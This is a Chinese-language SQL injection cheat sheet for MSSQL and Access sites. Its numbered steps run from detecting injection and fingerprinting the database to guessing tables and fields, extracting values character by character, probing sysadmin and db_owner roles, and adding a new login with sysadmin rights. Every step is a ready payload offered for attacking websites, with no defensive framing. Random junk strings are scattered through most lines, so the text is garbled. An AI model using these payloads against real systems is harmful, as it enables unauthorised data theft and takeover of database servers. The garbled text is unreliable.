1.判断是否有注入;and 1=1 ;and 1=2 \+cQiN b@
2.初步判断是否是mssql ;and user>0 61jDI^:
zoUW}O
3.注入参数是字符'and [查询条件] and ''=' m#8}!u&
Bm~>w`1wK
4.搜索时没过滤参数的'and [查询条件] and '%25'=' qIb(uF@l"
fC~WuG3
5.判断数据库系统 w`!Yr:dU
/f0_mi,bD
;and (select count(*) from sysobjects)>0 mssql jg%D
G2
{qOSs,+=L
;and (select count(*) from msysobjects)>0 access ZQ~?
Or_9KX2
Ch7eUTqA@
3F X`dZ
6.猜数据库 ;and (select Count(*) from [数据库名])>0 F},JP'\X
#jDO?Y Sa
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |/p^e
)'fIrBT
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 (TnYUyFP`
"QiUuD=
9.(1)猜字段的ascii值(access) yM\1n
L`Qiu@
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 '}!dRpx
Aq";z.gi+
(2)猜字段的ascii值(mssql) 8,['q~z
BA-n+WCWJ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .(`u'G=
$1?YVA7
10.测试权限结构(mssql) E)Hp.
CdEJ/G:
):.]4n{L
c*ytUI*
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {ifYr(|p`
%/sf#8^m
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- nY~CAo/:
7J 0!vq
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- i5_gz>
TcGxm7T
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- aEL6-['(
ueqR@i
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hPEK@
.WtaU
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- RrRCT.+E
<X;y
4lPZ
;and 1=(select IS_MEMBER('db_owner'));-- M)|}Vn;!
l'o'q7&=z
X1" `0r3
9D
0ujup
11.添加mssql和系统的帐户 T?% F
/5wvXk|@
;exec master.dbo.sp_addlogin username;-- !5{t1 oJ
;exec master.dbo.sp_password null,username,password;-- 0}w>8L7i{
.|o7YTcR:
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `aSz"4Wd
&